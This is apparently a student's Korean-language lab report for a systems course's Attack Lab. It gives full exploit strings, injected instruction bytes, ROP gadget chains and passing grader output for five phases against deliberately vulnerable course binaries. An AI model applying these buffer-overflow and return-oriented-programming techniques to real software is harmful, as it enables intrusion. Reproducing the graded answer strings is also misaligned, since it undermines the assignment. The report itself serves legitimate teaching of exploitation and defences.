CSED211 Intro. to Computer SW Systems : Attack Lab Report

November 4, 2025

Student 20240505 Hyunseong Kong

1. Overview

이번 랩 과제는 5개의 문자열 정답을 입력함으로서 주어진 코드파일을 공격하는 것을 목적으로 한다. 각 바이너리 파일은 objdump를 이용해 디어셈블링하였고, gdb를 이용해 stack 주소를 확인하였다. 제공받은 타겟은 17번이다.

2. Code Injection Attack

2-1. Phase 1

Answer:

```
90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90
5E 18 40 00 00 00 00 00
```

Explanation: 우선, 얼마나 많은 텍스트를 입력해야 return 시의 주소에 해당하는 위치를 수정할 수 있는지 파악해야 한다.

```
0x5561a088:     0x6161616161616161      0x6161616161616161
0x5561a098:     0x0000000000000061      0x0000000000000000
0x5561a0a8:     0x0000000000000000      0x0000000000000000
0x5561a0b8:     0x0000000055586000      0x00000000004019d0
0x5561a0c8:     0x0000000055685fe8      0x0000000000401ee3
```

gdb를 이용해 값을 입력한 직후의 rsp 주위를 출력한 결과, 입력된 값은 0x5561a088부터 기록되며, 0x5561a0c0의 영역에 return 주소가 입력되어 있음을 확인할 수 있었다.
디어셈블링한 파일에서 ¡touch1¿ 함수의 위치는 0x40185e이다. 이 경로를 기존의 return 값을 덮어씌우도록, little endian 표기법으로 표기하면 된다.

2-2. Phase 2

Answer:

```
90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90
48 c7 c7 56 db eb 76 68
8a 18 40 00 c3 90 90 90
B0 A0 61 55 00 00 00 00
```

Explanation: ¡touch2¿ 함수는 입력값을 받아 그것이 쿠키 값과 같은지 확인한다. 즉, 아래의 코드를 삽입하여 쿠키 값을 입력값으로 설정하는 것을 목적으로 해야 한다.

```
movq $0x76ebdb56, %rdi
push $0x40188A
ret
```

우선, 처음 return 시에는 스택에 삽입된 movq instruction이 위치한 곳으로 가야 한다. 완성된 코드를 삽입하려면 적어도 13 바이트가 필요하기에 phase 2의 답은 phase 1의 답에서 위쪽 2줄을 추가로 사용하는 형태가 된다. return 주소는 삽입한 코드의 주소인 0x5561a0b0가 되어야 한다.
삽입한 코드가 순서대로 실행되면 스택에 ¡touch2¿의 주소인 0x40188A가 삽입되며, rsp가 그 주소를 가리킨다. 마지막으로 ret에 의해 코드가 ¡touch2¿로 반환된다.

2-3. Phase 3

Answer:

```
37 36 65 62 64 62 35 36
00 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90
48 c7 c7 88 a0 61 55 68
5e 19 40 00 c3 90 90 90
B0 A0 61 55 00 00 00 00
```

Explanation: ¡touch3¿ 함수는 문자열 주소를 받아 cookie의 각 글자를 문자로 표현한 것과 문자열 주소의 문자열이 같은지를 파악한다. 이러한 문자열은 cookie 길이인 8글자와 문자열의 끝을 알리는 00으로 구성되어야 한다. 따라서, 아래와 같은 데이터를 스택에 삽입한 후에, 해당 스택의 주소를 함수의 입력값으로 제공하면 된다.

```
37 36 65 62 64 62 35 36
00
```

이를 위한 코드는 아래와 같다.

```
movq $0x5561a088, %rdi
push $0x40195E
ret
```

결과적으로 삽입한 코드는 phase 2와 동일하다. 그러나, phase 3은 가장 위쪽 9개 바이트를 추가로 사용하여 비교를 위한 문자열을 삽입하였다.

3. ROP Attack

3-1. Phase 4

Answer:

```
90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90
02 1a 40 00 00 00 00 00
56 db eb 76 00 00 00 00
f4 19 40 00 00 00 00 00
8a 18 40 00 00 00 00 00
```

Explanation: 우선, 이 phase부터는 더 이상 스택의 주소를 직접적으로 알아내어 활용하기는 어렵다. 대신, pop에 해당하는 가젯의 주소와 8바이트 데이터를 순서대로 넣으면 pop 명령이 실행되며 원하는 데이터를 레지스터에 삽입할 수 있다.
과제 writeup에 의하면 ¡start_farm¿ and ¡mid_farm¿ 사이의 함수에서 모든 가젯을 찾을 수 있다. 제공된 바이너리를 하나씩 찾아본 결과 0x58, 즉 popq rax를 찾을 수 있었다. ¡touch2¿는 함수 입력값을 받기 때문에 rax를 rdi로 옮길 수 있기만 하면 되는데, movq rax, rdi인 0x4889c7 또한 코드에 있었기 때문에 이를 활용하면 된다.
전체 코드 흐름은 아래와 같다.

```
02 1a 40 00 00 00 00 00 /* pop rax */
56 db eb 76 00 00 00 00 /* 0x76ebdb56 */
f4 19 40 00 00 00 00 00 /* rax -> rdi */
8a 18 40 00 00 00 00 00 /* <touch2> address */
```

마지막으로 이렇게 찾은 가젯을 시작이 phase 1의 return 주소가 되게 하여 순서대로 넣으면 된다.

3-2. Phase 5

Answer:

```
90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90
43 1a 40 00 00 00 00 00
f4 19 40 00 00 00 00 00
02 1a 40 00 00 00 00 00
48 00 00 00 00 00 00 00
3e 1a 40 00 00 00 00 00
bb 1a 40 00 00 00 00 00
ea 1a 40 00 00 00 00 00
28 1a 40 00 00 00 00 00
f4 19 40 00 00 00 00 00
5e 19 40 00 00 00 00 00
37 36 65 62 64 62 35 36
00 90 90 90 90 90 90 90
```

Explanation:

phase 3처럼 스택의 주소를 활용해야 하나 명시적으로 주소를 알아내는 것은 불가능하기 때문에, rsp의 값을 다른 레지스터로 옮긴 다음 연산을 수행해야 한다. 코드를 살펴보면, 두 입력값을 받아 그 덧셈 값을 반환하는 함수 ¡add_xy¿가 있다.

```
37 36 65 62 64 62 35 36
00 90 90 90 90 90 90 90
```

phase 3의 정답처럼 가젯 주소의 위쪽에 값을 넣으려면 rsp에 적당한 양의 정수 값을 빼주어야 한다. 즉, 2의 보수를 ¡add_xy¿에 넣어주어야 하는데 이는 8바이트를 전부 사용해야 하나, 가젯을 찾아보면 movq만으로는 원하는 값을 rdi와 rsi에 각각 넣기는 어렵기 때문에 가젯 주소의 아래쪽에 값을 저장한다.

```
43 1a 40 00 00 00 00 00 /* rsp -> rax */
f4 19 40 00 00 00 00 00 /* rax -> rdi */
02 1a 40 00 00 00 00 00 /* pop rax */
```

우선, 위를 보면, rsp를 rax로 옮기는 가젯이 존재한다. 그것과 phase 4에서 찾은 rax를 rdi로 옮기는 가젯을 사용해, rsp 주소를 rdi에 넣는다.

```
28 1a 40 00 00 00 00 00 /* <add_xy> address */
f4 19 40 00 00 00 00 00 /* rax -> rdi */
5e 19 40 00 00 00 00 00 /* <touch3> address */
```

¡add_xy¿는 rax에 값을 반환하는데, 이는 다시 rax를 rdi로 옮기는 가젯으로 rdi로 반환 값을 옮긴 뒤에 ¡touch3¿ 주소를 넣어 함수의 입력값을 ¡add_xy¿의 반환값으로 삽입할 수 있다.
이제, 특정한 양의 숫자를 rsi로 옮기는 일만 남았다. pop rax로 얻은 값을 rsi로 옮기려면 여러 레지스터를 거쳐야 한다. 아래는 역순으로 가젯을 찾아나가며 발견한 하나의 순서이다. 가젯의 개수에 따라 넣어줘야 하는 숫자도 달라진다.

```
48 00 00 00 00 00 00 00 /* 0x48 = 72 */
3e 1a 40 00 00 00 00 00 /* eax -> edx */
bb 1a 40 00 00 00 00 00 /* edx -> ecx */
ea 1a 40 00 00 00 00 00 /* ecx -> esi */
```

마지막으로 이렇게 찾은 가젯을 순서대로 배치하여 시작이 phase 1의 return 주소가 되게 하여 순서대로 넣으면 된다.

4. Result

```
[hyunseong@programming2 target17]$ ./cexecute.sh
Cookie: 0x76ebdb56
Type string:Touch1!: You called touch1()
Valid solution for level 1 with target ctarget
PASS: Sent exploit string to server to be validated.
NICE JOB!
[hyunseong@programming2 target17]$ vim exploit.txt
[hyunseong@programming2 target17]$ ./cexecute.sh
Cookie: 0x76ebdb56
Type string:Touch2!: You called touch2(0x76ebdb56)
Valid solution for level 2 with target ctarget
PASS: Sent exploit string to server to be validated.
NICE JOB!
[hyunseong@programming2 target17]$ vim exploit.txt
[hyunseong@programming2 target17]$ ./cexecute.sh
Cookie: 0x76ebdb56
Type string:Touch3!: You called touch3("76ebdb56")
Valid solution for level 3 with target ctarget
PASS: Sent exploit string to server to be validated.
NICE JOB!
[hyunseong@programming2 target17]$ mv cexecute.sh rexecute.sh
[hyunseong@programming2 target17]$ vim rexecute.sh
[hyunseong@programming2 target17]$ vim exploit.txt
[hyunseong@programming2 target17]$ ./rexecute.sh
Cookie: 0x76ebdb56
Type string:Touch2!: You called touch2(0x76ebdb56)
Valid solution for level 2 with target rtarget
PASS: Sent exploit string to server to be validated.
NICE JOB!
[hyunseong@programming2 target17]$ vim exploit.txt
[hyunseong@programming2 target17]$ ./rexecute.sh
Cookie: 0x76ebdb56
Type string:Touch3!: You called touch3("76ebdb56")
Valid solution for level 3 with target rtarget
PASS: Sent exploit string to server to be validated.
NICE JOB!
```

위의 스크린샷은 포스텍 programming2 서버에서 각 정답을 실행된 모습을 나타낸다. 이 보고서를 빌어 어떠한 규칙도 어기지 않고 모든 문제를 적법한 방법으로 해결하였음을 알린다. Code Injection의 경우 stack의 초기 위치를 알기 위해 `gdb`를 사용하였으며, 이를 제외한 모든 문제는 전부 `objdump`를 이용한 정적 분석으로 해결하였다.